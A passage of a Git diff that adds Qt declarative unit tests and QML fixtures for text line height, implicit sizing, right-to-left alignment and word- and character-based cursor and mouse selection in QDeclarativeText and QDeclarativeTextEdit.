+
+ QVERIFY(myText->lineHeight() == 1);
+ QVERIFY(myText->lineHeightMode() == QDeclarativeText::ProportionalHeight);
+
+ qreal h = myText->height();
+ myText->setLineHeight(1.5);
+ QVERIFY(myText->height() == h * 1.5);
+
+ myText->setLineHeightMode(QDeclarativeText::FixedHeight);
+ myText->setLineHeight(20);
+ QCOMPARE(myText->height(), myText->lineCount() * 20.0);
+
+ myText->setText("Lorem ipsum sit <b>amet</b>, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum.");
+ myText->setLineHeightMode(QDeclarativeText::ProportionalHeight);
+ myText->setLineHeight(1.0);
+
+ qreal h2 = myText->height();
+ myText->setLineHeight(2.0);
+ QEXPECT_FAIL("", "QTBUG-17325", Continue);
+ QVERIFY(myText->height() == h2 * 2.0);
+
+ myText->setLineHeightMode(QDeclarativeText::FixedHeight);
+ myText->setLineHeight(10);
+ QEXPECT_FAIL("", "QTBUG-17325", Continue);
+ QCOMPARE(myText->height(), myText->lineCount() * 10.0);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetext::implicitSize_data()
+{
+ QTest::addColumn<QString>("text");
+ QTest::addColumn<QString>("wrap");
+ QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap";
+ QTest::newRow("richtext") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "Text.NoWrap";
+ QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "Text.Wrap";
+ QTest::newRow("richtext_wrap") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "Text.Wrap";
+}
+
+void tst_qdeclarativetext::implicitSize()
+{
+ QFETCH(QString, text);
+ QFETCH(QString, wrap);
+ QString componentStr = "import QtQuick 1.1\nText { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject->width() < textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+
+ textObject->resetWidth();
+ QVERIFY(textObject->width() == textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+}
+
+void tst_qdeclarativetext::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativetext::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("maximumLineCount") << "maximumLineCount: 4"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Text.maximumLineCount\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("lineHeight") << "lineHeight: 2"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Text.lineHeight\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("lineHeightMode") << "lineHeightMode: Text.ProportionalHeight"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Text.lineHeightMode\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("lineCount") << "property int foo: lineCount"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: lineCount"
+ << "";
+
+ QTest::newRow("truncated") << "property bool foo: truncated"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: truncated"
+ << "";
}
QTEST_MAIN(tst_qdeclarativetext)
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 0000000..43ea8d8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 200; height: 70;
+
+ property alias horizontalAlignment: text.horizontalAlignment
+ property string text: "اختبا"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 200
+ height: 20
+ color: "green"
+
+ TextEdit {
+ id: text
+ objectName: "text"
+ anchors.fill: parent
+ text: top.text
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
new file mode 100644
index 0000000..5784e19
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextEdit.SelectCharacters
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
new file mode 100644
index 0000000..1e5f4aa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
new file mode 100644
index 0000000..4b25f2f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextEdit.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
index 615b919..2c3ec7c 100644
--- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
+++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
@@ -66,6 +66,8 @@
#define SRCDIR "."
#endif
+Q_DECLARE_METATYPE(QDeclarativeTextEdit::SelectionMode)
+
QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual)
{
// XXX This will be replaced by some clever persistent platform image store.
@@ -100,6 +102,7 @@ private slots:
// ### these tests may be trivial
void hAlign();
+ void hAlign_RightToLeft();
void vAlign();
void font();
void color();
@@ -107,11 +110,19 @@ private slots:
void persistentSelection();
void focusOnPress();
void selection();
+ void moveCursorSelection_data();
+ void moveCursorSelection();
+ void moveCursorSelectionSequence_data();
+ void moveCursorSelectionSequence();
void mouseSelection_data();
void mouseSelection();
+ void mouseSelectionMode_data();
+ void mouseSelectionMode();
+ void dragMouseSelection();
void inputMethodHints();
void cursorDelegate();
+ void cursorVisible();
void delegateLoading_data();
void delegateLoading();
void navigation();
@@ -122,6 +133,13 @@ private slots:
void openInputPanelOnFocus();
void geometrySignals();
void pastingRichText_QTBUG_14003();
+ void implicitSize_data();
+ void implicitSize();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+
+ void preeditMicroFocus();
+ void inputContextMouseHandler();
private:
void simulateKey(QDeclarativeView *, int key);
@@ -144,7 +162,9 @@ private:
tst_qdeclarativetextedit::tst_qdeclarativetextedit()
{
standard << "the quick brown fox jumped over the lazy dog"
- << "the quick brown fox\n jumped over the lazy dog";
+ << "the quick brown fox\n jumped over the lazy dog"
+ << "Hello, world!"
+ << "!dlrow ,olleH";
richText << "<i>the <b>quick</b> brown <a href=\\\"http://www.google.com\\\">fox</a> jumped over the <b>lazy</b> dog</i>"
<< "<i>the <b>quick</b> brown <a href=\\\"http://www.google.com\\\">fox</a><br>jumped over the <b>lazy</b> dog</i>";
@@ -373,6 +393,8 @@ void tst_qdeclarativetextedit::alignments()
QImage expect(expectfile);
QCOMPARE(actual,expect);
+
+ delete canvas;
}
@@ -411,6 +433,30 @@ void tst_qdeclarativetextedit::hAlign()
}
+void tst_qdeclarativetextedit::hAlign_RightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+ QDeclarativeTextEdit *textEdit = canvas->rootObject()->findChild<QDeclarativeTextEdit*>("text");
+ QVERIFY(textEdit != 0);
+ canvas->show();
+
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ // "Right" align
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignRight);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
+ QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
+
+ // Center align
+ // Note that position 0 is on the right-hand side
+ textEdit->setHAlign(QDeclarativeTextEdit::AlignHCenter);
+ QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignHCenter);
+ QVERIFY(textEdit->positionToRectangle(0).x() - textEdit->width() < canvas->width()/2);
+ QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
+
+ delete canvas;
+}
+
void tst_qdeclarativetextedit::vAlign()
{
//test one align each, and then test if two align fails.
@@ -702,8 +748,351 @@ void tst_qdeclarativetextedit::selection()
QVERIFY(textEditObject->selectedText().size() == 10);
textEditObject->select(0,100);
QVERIFY(textEditObject->selectedText().size() == 10);
+
+ textEditObject->deselect();
+ QVERIFY(textEditObject->selectedText().isNull());
+ textEditObject->select(0,10);
+ QVERIFY(textEditObject->selectedText().size() == 10);
+ textEditObject->deselect();
+ QVERIFY(textEditObject->selectedText().isNull());
+}
+
+void tst_qdeclarativetextedit::moveCursorSelection_data()
+{
+ QTest::addColumn<QString>("testStr");
+ QTest::addColumn<int>("cursorPosition");
+ QTest::addColumn<int>("movePosition");
+ QTest::addColumn<QDeclarativeTextEdit::SelectionMode>("mode");
+ QTest::addColumn<int>("selectionStart");
+ QTest::addColumn<int>("selectionEnd");
+ QTest::addColumn<bool>("reversible");
+
+ QTest::newRow("(t)he|characters")
+ << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectCharacters << 0 << 1 << true;
+ QTest::newRow("do(g)|characters")
+ << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectCharacters << 43 << 44 << true;
+ QTest::newRow("jum(p)ed|characters")
+ << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectCharacters << 23 << 24 << true;
+ QTest::newRow("jumped( )over|characters")
+ << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectCharacters << 26 << 27 << true;
+ QTest::newRow("(the )|characters")
+ << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectCharacters << 0 << 4 << true;
+ QTest::newRow("( dog)|characters")
+ << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectCharacters << 40 << 44 << true;
+ QTest::newRow("( jumped )|characters")
+ << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectCharacters << 19 << 27 << true;
+ QTest::newRow("th(e qu)ick|characters")
+ << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectCharacters << 2 << 6 << true;
+ QTest::newRow("la(zy d)og|characters")
+ << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectCharacters << 38 << 42 << true;
+ QTest::newRow("jum(ped ov)er|characters")
+ << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectCharacters << 23 << 29 << true;
+ QTest::newRow("()the|characters")
+ << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectCharacters << 0 << 0 << true;
+ QTest::newRow("dog()|characters")
+ << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectCharacters << 44 << 44 << true;
+ QTest::newRow("jum()ped|characters")
+ << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectCharacters << 23 << 23 << true;
+
+ QTest::newRow("<(t)he>|words")
+ << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true;
+ QTest::newRow("<do(g)>|words")
+ << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true;
+ QTest::newRow("<jum(p)ed>|words")
+ << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true;
+ QTest::newRow("<jumped( )>over|words")
+ << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 27 << false;
+ QTest::newRow("jumped<( )over>|words,reversed")
+ << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 31 << false;
+ QTest::newRow("<(the )>quick|words")
+ << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 4 << false;
+ QTest::newRow("<(the )quick>|words,reversed")
+ << standard[0] << 4 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 9 << false;
+ QTest::newRow("<lazy( dog)>|words")
+ << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 36 << 44 << false;
+ QTest::newRow("lazy<( dog)>|words,reversed")
+ << standard[0] << 44 << 40 << QDeclarativeTextEdit::SelectWords << 40 << 44 << false;
+ QTest::newRow("<fox( jumped )>over|words")
+ << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 16 << 27 << false;
+ QTest::newRow("fox<( jumped )over>|words,reversed")
+ << standard[0] << 27 << 19 << QDeclarativeTextEdit::SelectWords << 19 << 31 << false;
+ QTest::newRow("<th(e qu)ick>|words")
+ << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectWords << 0 << 9 << true;
+ QTest::newRow("<la(zy d)og|words>")
+ << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectWords << 36 << 44 << true;
+ QTest::newRow("<jum(ped ov)er>|words")
+ << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectWords << 20 << 31 << true;
+ QTest::newRow("<()>the|words")
+ << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
+ QTest::newRow("dog<()>|words")
+ << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectWords << 44 << 44 << true;
+ QTest::newRow("jum<()>ped|words")
+ << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectWords << 23 << 23 << true;
+
+ QTest::newRow("Hello<(,)> |words")
+ << standard[2] << 5 << 6 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true;
+ QTest::newRow("Hello<(, )>world|words")
+ << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
+ QTest::newRow("Hello<(, )world>|words,reversed")
+ << standard[2] << 7 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
+ QTest::newRow("<Hel(lo, )>world|words")
+ << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
+ QTest::newRow("<Hel(lo, )world>|words,reversed")
+ << standard[2] << 7 << 3 << QDeclarativeTextEdit::SelectWords << 0 << 12 << false;
+ QTest::newRow("<Hel(lo)>,|words")
+ << standard[2] << 3 << 5 << QDeclarativeTextEdit::SelectWords << 0 << 5 << true;
+ QTest::newRow("Hello<()>,|words")
+ << standard[2] << 5 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 5 << true;
+ QTest::newRow("Hello,<()>|words")
+ << standard[2] << 6 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << true;
+ QTest::newRow("Hello<,( )>world|words")
+ << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
+ QTest::newRow("Hello,<( )world>|words,reversed")
+ << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
+ QTest::newRow("Hello<,( world)>|words")
+ << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
+ QTest::newRow("Hello,<( world)>|words,reversed")
+ << standard[2] << 12 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
+ QTest::newRow("Hello<,( world!)>|words")
+ << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << false;
+ QTest::newRow("Hello,<( world!)>|words,reversed")
+ << standard[2] << 13 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
+ QTest::newRow("Hello<(, world!)>|words")
+ << standard[2] << 5 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << true;
+ QTest::newRow("world<(!)>|words")
+ << standard[2] << 12 << 13 << QDeclarativeTextEdit::SelectWords << 12 << 13 << true;
+ QTest::newRow("world!<()>)|words")
+ << standard[2] << 13 << 13 << QDeclarativeTextEdit::SelectWords << 13 << 13 << true;
+ QTest::newRow("world<()>!)|words")
+ << standard[2] << 12 << 12 << QDeclarativeTextEdit::SelectWords << 12 << 12 << true;
+
+ QTest::newRow("<(,)>olleH |words")
+ << standard[3] << 7 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true;
+ QTest::newRow("<dlrow( ,)>olleH|words")
+ << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
+ QTest::newRow("dlrow<( ,)>olleH|words,reversed")
+ << standard[3] << 8 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
+ QTest::newRow("<dlrow( ,ol)leH>|words")
+ << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 1 << 13 << false;
+ QTest::newRow("dlrow<( ,ol)leH>|words,reversed")
+ << standard[3] << 10 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
+ QTest::newRow(",<(ol)leH>,|words")
+ << standard[3] << 8 << 10 << QDeclarativeTextEdit::SelectWords << 8 << 13 << true;
+ QTest::newRow(",<()>olleH|words")
+ << standard[3] << 8 << 8 << QDeclarativeTextEdit::SelectWords << 8 << 8 << true;
+ QTest::newRow("<()>,olleH|words")
+ << standard[3] << 7 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << true;
+ QTest::newRow("<dlrow( )>,olleH|words")
+ << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
+ QTest::newRow("dlrow<( ),>olleH|words,reversed")
+ << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
+ QTest::newRow("<(dlrow )>,olleH|words")
+ << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
+ QTest::newRow("<(dlrow ),>olleH|words,reversed")
+ << standard[3] << 7 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
+ QTest::newRow("<(!dlrow )>,olleH|words")
+ << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
+ QTest::newRow("<(!dlrow ),>olleH|words,reversed")
+ << standard[3] << 7 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 8 << false;
+ QTest::newRow("(!dlrow ,)olleH|words")
+ << standard[3] << 0 << 8 << QDeclarativeTextEdit::SelectWords << 0 << 8 << true;
+ QTest::newRow("<(!)>dlrow|words")
+ << standard[3] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 1 << true;
+ QTest::newRow("<()>!dlrow|words")
+ << standard[3] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
+ QTest::newRow("!<()>dlrow|words")
+ << standard[3] << 1 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 1 << true;
+}
+
+void tst_qdeclarativetextedit::moveCursorSelection()
+{
+ QFETCH(QString, testStr);
+ QFETCH(int, cursorPosition);
+ QFETCH(int, movePosition);
+ QFETCH(QDeclarativeTextEdit::SelectionMode, mode);
+ QFETCH(int, selectionStart);
+ QFETCH(int, selectionEnd);
+ QFETCH(bool, reversible);
+
+ QString componentStr = "import QtQuick 1.1\nTextEdit { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *texteditObject = qobject_cast<QDeclarativeTextEdit*>(textinputComponent.create());
+ QVERIFY(texteditObject != 0);
+
+ texteditObject->setCursorPosition(cursorPosition);
+ texteditObject->moveCursorSelection(movePosition, mode);
+
+ QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+ QCOMPARE(texteditObject->selectionStart(), selectionStart);
+ QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
+
+ if (reversible) {
+ texteditObject->setCursorPosition(movePosition);
+ texteditObject->moveCursorSelection(cursorPosition, mode);
+
+ QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+ QCOMPARE(texteditObject->selectionStart(), selectionStart);
+ QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
+ }
}
+void tst_qdeclarativetextedit::moveCursorSelectionSequence_data()
+{
+ QTest::addColumn<QString>("testStr");
+ QTest::addColumn<int>("cursorPosition");
+ QTest::addColumn<int>("movePosition1");
+ QTest::addColumn<int>("movePosition2");
+ QTest::addColumn<int>("selection1Start");
+ QTest::addColumn<int>("selection1End");
+ QTest::addColumn<int>("selection2Start");
+ QTest::addColumn<int>("selection2End");
+
+ QTest::newRow("the {<quick( bro)wn> f^ox} jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 17
+ << 4 << 15
+ << 4 << 19;
+ QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 17
+ << 9 << 15
+ << 10 << 19;
+ QTest::newRow("the {<quick( bro)wn> ^}fox jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 16
+ << 4 << 15
+ << 4 << 16;
+ QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 16
+ << 9 << 15
+ << 10 << 16;
+ QTest::newRow("the {<quick( bro)wn^>} fox jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 15
+ << 4 << 15
+ << 4 << 15;
+ QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 15
+ << 9 << 15
+ << 10 << 15;
+ QTest::newRow("the {<quick() ^}bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 10
+ << 4 << 15
+ << 4 << 10;
+ QTest::newRow("the quick<(^ {^bro)wn>} fox|rtl")
+ << standard[0]
+ << 13 << 9 << 10
+ << 9 << 15
+ << 10 << 15;
+ QTest::newRow("the {<quick^}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 9
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
+ << standard[0]
+ << 13 << 9 << 9
+ << 9 << 15
+ << 9 << 15;
+ QTest::newRow("the {<qui^ck}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 7
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the {<qui^ck}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 7
+ << 9 << 15
+ << 4 << 15;
+ QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 4
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 4
+ << 9 << 15
+ << 4 << 15;
+ QTest::newRow("the{^ <quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 3
+ << 4 << 15
+ << 3 << 9;
+ QTest::newRow("the{^ <quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 3
+ << 9 << 15
+ << 3 << 15;
+ QTest::newRow("{t^he <quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 1
+ << 4 << 15
+ << 0 << 9;
+ QTest::newRow("{t^he <quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 1
+ << 9 << 15
+ << 0 << 15;
+
+ QTest::newRow("{<He(ll)o>, w^orld}!|ltr")
+ << standard[2]
+ << 2 << 4 << 8
+ << 0 << 5
+ << 0 << 12;
+ QTest::newRow("{<He(ll)o>, w^orld}!|rtl")
+ << standard[2]
+ << 4 << 2 << 8
+ << 0 << 5
+ << 0 << 12;
+
+ QTest::newRow("!{dlro^w ,<o(ll)eH>}|ltr")
+ << standard[3]
+ << 9 << 11 << 5
+ << 8 << 13
+ << 1 << 13;
+ QTest::newRow("!{dlro^w ,<o(ll)eH>}|rtl")
+ << standard[3]
+ << 11 << 9 << 5
+ << 8 << 13
+ << 1 << 13;
+}
+
+void tst_qdeclarativetextedit::moveCursorSelectionSequence()
+{
+ QFETCH(QString, testStr);
+ QFETCH(int, cursorPosition);
+ QFETCH(int, movePosition1);
+ QFETCH(int, movePosition2);
+ QFETCH(int, selection1Start);
+ QFETCH(int, selection1End);
+ QFETCH(int, selection2Start);
+ QFETCH(int, selection2End);
+
+ QString componentStr = "import QtQuick 1.1\nTextEdit { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent texteditComponent(&engine);
+ texteditComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextEdit *texteditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+ QVERIFY(texteditObject != 0);
+
+ texteditObject->setCursorPosition(cursorPosition);
+
+ texteditObject->moveCursorSelection(movePosition1, QDeclarativeTextEdit::SelectWords);
+ QCOMPARE(texteditObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
+ QCOMPARE(texteditObject->selectionStart(), selection1Start);
+ QCOMPARE(texteditObject->selectionEnd(), selection1End);
+
+ texteditObject->moveCursorSelection(movePosition2, QDeclarativeTextEdit::SelectWords);
+ QCOMPARE(texteditObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
+ QCOMPARE(texteditObject->selectionStart(), selection2Start);
+ QCOMPARE(texteditObject->selectionEnd(), selection2End);
+}
+
+
void tst_qdeclarativetextedit::mouseSelection_data()
{
QTest::addColumn<QString>("qmlfile");
@@ -745,6 +1134,104 @@ void tst_qdeclarativetextedit::mouseSelection()
QVERIFY(str.length() > 3); // don't reallly care *what* was selected (and it's too sensitive to platform)
else
QVERIFY(str.isEmpty());
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::dragMouseSelection()
+{
+ QString qmlfile = SRCDIR "/data/mouseselection_true.qml";
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+ QVERIFY(textEditObject != 0);
+
+ textEditObject->setAcceptDrops(true);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textEditObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str1 = textEditObject->selectedText();
+ QVERIFY(str1.length() > 3);
+
+ // press and drag the current selection.
+ x1 = 40;
+ x2 = 100;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str2 = textEditObject->selectedText();
+ QVERIFY(str2.length() > 3);
+
+ QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved.
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextedit::mouseSelectionMode_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+ QTest::addColumn<bool>("selectWords");
+
+ // import installed
+ QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
+ QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
+ QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
+}
+
+void tst_qdeclarativetextedit::mouseSelectionMode()
+{
+ QFETCH(QString, qmlfile);
+ QFETCH(bool, selectWords);
+
+ QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
